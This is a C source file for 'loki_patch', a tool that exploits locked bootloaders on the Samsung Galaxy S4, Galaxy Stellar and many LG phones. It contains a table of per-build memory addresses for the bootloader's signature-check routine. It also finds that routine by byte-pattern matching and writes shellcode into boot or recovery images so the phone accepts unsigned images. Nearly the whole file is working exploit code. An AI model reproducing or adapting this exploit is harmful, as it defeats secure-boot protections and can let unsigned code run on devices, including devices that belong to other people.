blob: 5d671bb672f68966b09330071b024fdaa78ec853 [file] [log] [blame]
/*
* loki_patch
*
* A utility to patch unsigned boot and recovery images to make
* them suitable for booting on the AT&T/Verizon Samsung
* Galaxy S4, Galaxy Stellar, and various locked LG devices
*
* by Dan Rosenberg (@djrbliss)
*
*/
#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include "loki.h"
struct target {
char *vendor;
char *device;
char *build;
unsigned long check_sigs;
unsigned long hdr;
int lg;
};
struct target targets[] = {
{
.vendor = "AT&T",
.device = "Samsung Galaxy S4",
.build = "JDQ39.I337UCUAMDB or JDQ39.I337UCUAMDL",
.check_sigs = 0x88e0ff98,
.hdr = 0x88f3bafc,
.lg = 0,
},
{
.vendor = "Verizon",
.device = "Samsung Galaxy S4",
.build = "JDQ39.I545VRUAMDK",
.check_sigs = 0x88e0fe98,
.hdr = 0x88f372fc,
.lg = 0,
},
{
.vendor = "DoCoMo",
.device = "Samsung Galaxy S4",
.build = "JDQ39.SC04EOMUAMDI",
.check_sigs = 0x88e0fcd8,
.hdr = 0x88f0b2fc,
.lg = 0,
},
{
.vendor = "Verizon",
.device = "Samsung Galaxy Stellar",
.build = "IMM76D.I200VRALH2",
.check_sigs = 0x88e0f5c0,
.hdr = 0x88ed32e0,
.lg = 0,
},
{
.vendor = "Verizon",
.device = "Samsung Galaxy Stellar",
.build = "JZO54K.I200VRBMA1",
.check_sigs = 0x88e101ac,
.hdr = 0x88ed72e0,
.lg = 0,
},
{
.vendor = "T-Mobile",
.device = "LG Optimus F3Q",
.build = "D52010c",
.check_sigs = 0x88f1079c,
.hdr = 0x88f64508,
.lg = 1,
},
{
.vendor = "DoCoMo",
.device = "LG Optimus G",
.build = "L01E20b",
.check_sigs = 0x88F10E48,
.hdr = 0x88F54418,
.lg = 1,
},
{
.vendor = "DoCoMo",
.device = "LG Optimus it L05E",
.build = "L05E10d",
.check_sigs = 0x88f1157c,
.hdr = 0x88f31e10,
.lg = 1,
},
{
.vendor = "DoCoMo",
.device = "LG Optimus G Pro",
.build = "L04E10f",
.check_sigs = 0x88f1102c,
.hdr = 0x88f54418,
.lg = 1,
},
{
.vendor = "AT&T or HK",
.device = "LG Optimus G Pro",
.build = "E98010g or E98810b",
.check_sigs = 0x88f11084,
.hdr = 0x88f54418,
.lg = 1,
},
{
.vendor = "KT, LGU, or SKT",
.device = "LG Optimus G Pro",
.build = "F240K10o, F240L10v, or F240S10w",
.check_sigs = 0x88f110b8,
.hdr = 0x88f54418,
.lg = 1,
},
{
.vendor = "KT, LGU, or SKT",
.device = "LG Optimus LTE 2",
.build = "F160K20g, F160L20f, F160LV20d, or F160S20f",
.check_sigs = 0x88f10864,
.hdr = 0x88f802b8,
.lg = 1,
},
{
.vendor = "MetroPCS",
.device = "LG Spirit",
.build = "MS87010a_05",
.check_sigs = 0x88f0e634,
.hdr = 0x88f68194,
.lg = 1,
},
{
.vendor = "MetroPCS",
.device = "LG Motion",
.build = "MS77010f_01",
.check_sigs = 0x88f1015c,
.hdr = 0x88f58194,
.lg = 1,
},
{
.vendor = "Verizon",
.device = "LG Lucid 2",
.build = "VS87010B_12",
.check_sigs = 0x88f10adc,
.hdr = 0x88f702bc,
.lg = 1,
},
{
.vendor = "Verizon",
.device = "LG Spectrum 2",
.build = "VS93021B_05",
.check_sigs = 0x88f10c10,
.hdr = 0x88f84514,
.lg = 1,
},
{
.vendor = "Boost Mobile",
.device = "LG Optimus F7",
.build = "LG870ZV4_06",
.check_sigs = 0x88f11714,
.hdr = 0x88f842ac,
.lg = 1,
},
{
.vendor = "US Cellular",
.device = "LG Optimus F7",
.build = "US78011a",
.check_sigs = 0x88f112c8,
.hdr = 0x88f84518,
.lg = 1,
},
{
.vendor = "Sprint",
.device = "LG Optimus F7",
.build = "LG870ZV5_02",
.check_sigs = 0x88f11710,
.hdr = 0x88f842a8,
.lg = 1,
},
{
.vendor = "Virgin Mobile",
.device = "LG Optimus F3",
.build = "LS720ZV5",
.check_sigs = 0x88f108f0,
.hdr = 0x88f854f4,
.lg = 1,
},
{
.vendor = "T-Mobile and MetroPCS",
.device = "LG Optimus F3",
.build = "LS720ZV5",
.check_sigs = 0x88f10264,
.hdr = 0x88f64508,
.lg = 1,
},
{
.vendor = "AT&T",
.device = "LG G2",
.build = "D80010d",
.check_sigs = 0xf8132ac,
.hdr = 0xf906440,
.lg = 1,
},
{
.vendor = "Verizon",
.device = "LG G2",
.build = "VS98010b",
.check_sigs = 0xf8131f0,
.hdr = 0xf906440,
.lg = 1,
},
{
.vendor = "AT&T",
.device = "LG G2",
.build = "D80010o",
.check_sigs = 0xf813428,
.hdr = 0xf904400,
.lg = 1,
},
{
.vendor = "Verizon",
.device = "LG G2",
.build = "VS98012b",
.check_sigs = 0xf813210,
.hdr = 0xf906440,
.lg = 1,
},
{
.vendor = "T-Mobile or Canada",
.device = "LG G2",
.build = "D80110c or D803",
.check_sigs = 0xf813294,
.hdr = 0xf906440,
.lg = 1,
},
{
.vendor = "International",
.device = "LG G2",
.build = "D802b",
.check_sigs = 0xf813a70,
.hdr = 0xf9041c0,
.lg = 1,
},
{
.vendor = "Sprint",
.device = "LG G2",
.build = "LS980ZV7",
.check_sigs = 0xf813460,
.hdr = 0xf9041c0,
.lg = 1,
},
{
.vendor = "KT or LGU",
.device = "LG G2",
.build = "F320K, F320L",
.check_sigs = 0xf81346c,
.hdr = 0xf8de440,
.lg = 1,
},
{
.vendor = "SKT",
.device = "LG G2",
.build = "F320S",
.check_sigs = 0xf8132e4,
.hdr = 0xf8ee440,
.lg = 1,
},
{
.vendor = "SKT",
.device = "LG G2",
.build = "F320S11c",
.check_sigs = 0xf813470,
.hdr = 0xf8de440,
.lg = 1,
},
{
.vendor = "DoCoMo",
.device = "LG G2",
.build = "L-01F",
.check_sigs = 0xf813538,
.hdr = 0xf8d41c0,
.lg = 1,
},
{
.vendor = "KT",
.device = "LG G Flex",
.build = "F340K",
.check_sigs = 0xf8124a4,
.hdr = 0xf8b6440,
.lg = 1,
},
{
.vendor = "KDDI",
.device = "LG G Flex",
.build = "LGL2310d",
.check_sigs = 0xf81261c,
.hdr = 0xf8b41c0,
.lg = 1,
},
{
.vendor = "International",
.device = "LG Optimus F5",
.build = "P87510e",
.check_sigs = 0x88f10a9c,
.hdr = 0x88f702b8,
.lg = 1,
},
{
.vendor = "SKT",
.device = "LG Optimus LTE 3",
.build = "F260S10l",
.check_sigs = 0x88f11398,
.hdr = 0x88f8451c,
.lg = 1,
},
{
.vendor = "International",
.device = "LG G Pad 8.3",
.build = "V50010a",
.check_sigs = 0x88f10814,
.hdr = 0x88f801b8,
.lg = 1,
},
{
.vendor = "International",
.device = "LG G Pad 8.3",
.build = "V50010c or V50010e",
.check_sigs = 0x88f108bc,
.hdr = 0x88f801b8,
.lg = 1,
},
{
.vendor = "Verizon",
.device = "LG G Pad 8.3",
.build = "VK81010c",
.check_sigs = 0x88f11080,
.hdr = 0x88fd81b8,
.lg = 1,
},
{
.vendor = "International",
.device = "LG Optimus L9 II",
.build = "D60510a",
.check_sigs = 0x88f10d98,
.hdr = 0x88f84aa4,
.lg = 1,
},
{
.vendor = "MetroPCS",
.device = "LG Optimus F6",
.build = "MS50010e",
.check_sigs = 0x88f10260,
.hdr = 0x88f70508,
.lg = 1,
},
{
.vendor = "Open EU",
.device = "LG Optimus F6",
.build = "D50510a",
.check_sigs = 0x88f10284,
.hdr = 0x88f70aa4,
.lg = 1,
},
{
.vendor = "KDDI",
.device = "LG Isai",
.build = "LGL22",
.check_sigs = 0xf813458,
.hdr = 0xf8d41c0,
.lg = 1,
},
{
.vendor = "KDDI",
.device = "LG",
.build = "LGL21",
.check_sigs = 0x88f10218,
.hdr = 0x88f50198,
.lg = 1,
},
{
.vendor = "KT",
.device = "LG Optimus GK",
.build = "F220K",
.check_sigs = 0x88f11034,
.hdr = 0x88f54418,
.lg = 1,
},
{
.vendor = "International",
.device = "LG Vu 3",
.build = "F300L",
.check_sigs = 0xf813170,
.hdr = 0xf8d2440,
.lg = 1,
},
{
.vendor = "Sprint",
.device = "LG Viper",
.build = "LS840ZVK",
.check_sigs = 0x4010fe18,
.hdr = 0x40194198,
.lg = 1,
},
{
.vendor = "International",
.device = "LG G Flex",
.build = "D95510a",
.check_sigs = 0xf812490,
.hdr = 0xf8c2440,
.lg = 1,
},
{
.vendor = "Sprint",
.device = "LG Mach",
.build = "LS860ZV7",
.check_sigs = 0x88f102b4,
.hdr = 0x88f6c194,
.lg = 1,
},
};
static unsigned char patch[] = PATCH;
int patch_shellcode(unsigned int header, unsigned int ramdisk)
{
unsigned int i;
int found_header, found_ramdisk;
unsigned int *ptr;
found_header = 0;
found_ramdisk = 0;
for (i = 0; i < sizeof(patch); i++) {
ptr = (unsigned int *)&patch[i];
if (*ptr == 0xffffffff) {
*ptr = header;
found_header = 1;
}
if (*ptr == 0xeeeeeeee) {
*ptr = ramdisk;
found_ramdisk = 1;
}
}
if (found_header && found_ramdisk)
return 0;
return -1;
}
int loki_patch(const char* partition_label, const char* aboot_image, const char* in_image, const char* out_image)
{
int ifd, ofd, aboot_fd, pos, i, recovery, offset, fake_size;
unsigned int orig_ramdisk_size, orig_kernel_size, page_kernel_size, page_ramdisk_size, page_size, page_mask;
unsigned long target, aboot_base;
void *orig, *aboot, *ptr;
struct target *tgt;
struct stat st;
struct boot_img_hdr *hdr;
struct loki_hdr *loki_hdr;
char *buf;
if (!strcmp(partition_label, "boot")) {
recovery = 0;
} else if (!strcmp(partition_label, "recovery")) {
recovery = 1;
} else {
printf("[+] First argument must be \"boot\" or \"recovery\".\n");
return 1;
}
/* Open input files */
aboot_fd = open(aboot_image, O_RDONLY);
if (aboot_fd < 0) {
printf("[-] Failed to open %s for reading.\n", aboot_image);
return 1;
}
ifd = open(in_image, O_RDONLY);
if (ifd < 0) {
printf("[-] Failed to open %s for reading.\n", in_image);
return 1;
}
ofd = open(out_image, O_WRONLY|O_CREAT|O_TRUNC, 0644);
if (ofd < 0) {
printf("[-] Failed to open %s for writing.\n", out_image);
return 1;
}
/* Find the signature checking function via pattern matching */
if (fstat(aboot_fd, &st)) {
printf("[-] fstat() failed.\n");
return 1;
}
aboot = mmap(0, (st.st_size + 0xfff) & ~0xfff, PROT_READ, MAP_PRIVATE, aboot_fd, 0);
if (aboot == MAP_FAILED) {
printf("[-] Failed to mmap aboot.\n");
return 1;
}
target = 0;
aboot_base = *(unsigned int *)(aboot + 12) - 0x28;
for (ptr = aboot; ptr < aboot + st.st_size - 0x1000; ptr++) {
if (!memcmp(ptr, PATTERN1, 8) ||
!memcmp(ptr, PATTERN2, 8) ||
!memcmp(ptr, PATTERN3, 8) ||
!memcmp(ptr, PATTERN4, 8) ||
!memcmp(ptr, PATTERN5, 8)) {
target = (unsigned long)ptr - (unsigned long)aboot + aboot_base;
break;
}
}
/* Do a second pass for the second LG pattern. This is necessary because
* apparently some LG models have both LG patterns, which throws off the
* fingerprinting. */
if (!target) {
for (ptr = aboot; ptr < aboot + st.st_size - 0x1000; ptr++) {
if (!memcmp(ptr, PATTERN6, 8)) {
target = (unsigned long)ptr - (unsigned long)aboot + aboot_base;
break;
}
}
}
if (!target) {
printf("[-] Failed to find function to patch.\n");
return 1;
}
tgt = NULL;
for (i = 0; i < (sizeof(targets)/sizeof(targets[0])); i++) {
if (targets[i].check_sigs == target) {
tgt = &targets[i];
break;
}
}
if (!tgt) {
printf("[-] Unsupported aboot image.\n");
return 1;
}
printf("[+] Detected target %s %s build %s\n", tgt->vendor, tgt->device, tgt->build);
/* Map the original boot/recovery image */
if (fstat(ifd, &st)) {
printf("[-] fstat() failed.\n");
return 1;
}
orig = mmap(0, (st.st_size + 0x2000 + 0xfff) & ~0xfff, PROT_READ|PROT_WRITE, MAP_PRIVATE, ifd, 0);
if (orig == MAP_FAILED) {
printf("[-] Failed to mmap input file.\n");
return 1;
}
hdr = orig;
loki_hdr = orig + 0x400;
if (!memcmp(loki_hdr->magic, "LOKI", 4)) {
printf("[-] Input file is already a Loki image.\n");
/* Copy the entire file to the output transparently */
if (write(ofd, orig, st.st_size) != st.st_size) {
printf("[-] Failed to copy Loki image.\n");
return 1;
}
printf("[+] Copied Loki image to %s.\n", out_image);
return 0;
}
/* Set the Loki header */
memcpy(loki_hdr->magic, "LOKI", 4);
loki_hdr->recovery = recovery;
strncpy(loki_hdr->build, tgt->build, sizeof(loki_hdr->build) - 1);
page_size = hdr->page_size;
page_mask = hdr->page_size - 1;
orig_kernel_size = hdr->kernel_size;
orig_ramdisk_size = hdr->ramdisk_size;
printf("[+] Original kernel address: %.08x\n", hdr->kernel_addr);
printf("[+] Original ramdisk address: %.08x\n", hdr->ramdisk_addr);
/* Store the original values in unused fields of the header */
loki_hdr->orig_kernel_size = orig_kernel_size;
loki_hdr->orig_ramdisk_size = orig_ramdisk_size;
loki_hdr->ramdisk_addr = hdr->kernel_addr + ((hdr->kernel_size + page_mask) & ~page_mask);
if (patch_shellcode(tgt->hdr, hdr->ramdisk_addr) < 0) {
printf("[-] Failed to patch shellcode.\n");
return 1;
}
/* Ramdisk must be aligned to a page boundary */
hdr->kernel_size = ((hdr->kernel_size + page_mask) & ~page_mask) + hdr->ramdisk_size;
/* Guarantee 16-byte alignment */
offset = tgt->check_sigs & 0xf;
hdr->ramdisk_addr = tgt->check_sigs - offset;
if (tgt->lg) {
fake_size = page_size;
hdr->ramdisk_size = page_size;
}
else {
fake_size = 0x200;
hdr->ramdisk_size = 0;
}
/* Write the image header */
if (write(ofd, orig, page_size) != page_size) {
printf("[-] Failed to write header to output file.\n");
return 1;
}
page_kernel_size = (orig_kernel_size + page_mask) & ~page_mask;
/* Write the kernel */
if (write(ofd, orig + page_size, page_kernel_size) != page_kernel_size) {
printf("[-] Failed to write kernel to output file.\n");
return 1;
}
page_ramdisk_size = (orig_ramdisk_size + page_mask) & ~page_mask;
/* Write the ramdisk */
if (write(ofd, orig + page_size + page_kernel_size, page_ramdisk_size) != page_ramdisk_size) {
printf("[-] Failed to write ramdisk to output file.\n");
return 1;
}
/* Write fake_size bytes of original code to the output */
buf = malloc(fake_size);
if (!buf) {
printf("[-] Out of memory.\n");
return 1;
}
lseek(aboot_fd, tgt->check_sigs - aboot_base - offset, SEEK_SET);
read(aboot_fd, buf, fake_size);
if (write(ofd, buf, fake_size) != fake_size) {
printf("[-] Failed to write original aboot code to output file.\n");
return 1;
}
/* Save this position for later */
pos = lseek(ofd, 0, SEEK_CUR);
/* Write the device tree if needed */
if (hdr->dt_size) {
printf("[+] Writing device tree.\n");
if (write(ofd, orig + page_size + page_kernel_size + page_ramdisk_size, hdr->dt_size) != hdr->dt_size) {
printf("[-] Failed to write device tree to output file.\n");
return 1;
}
}
lseek(ofd, pos - (fake_size - offset), SEEK_SET);
/* Write the patch */
if (write(ofd, patch, sizeof(patch)) != sizeof(patch)) {
printf("[-] Failed to write patch to output file.\n");
return 1;
}
close(ifd);
close(ofd);
close(aboot_fd);
printf("[+] Output file written to %s\n", out_image);
return 0;
}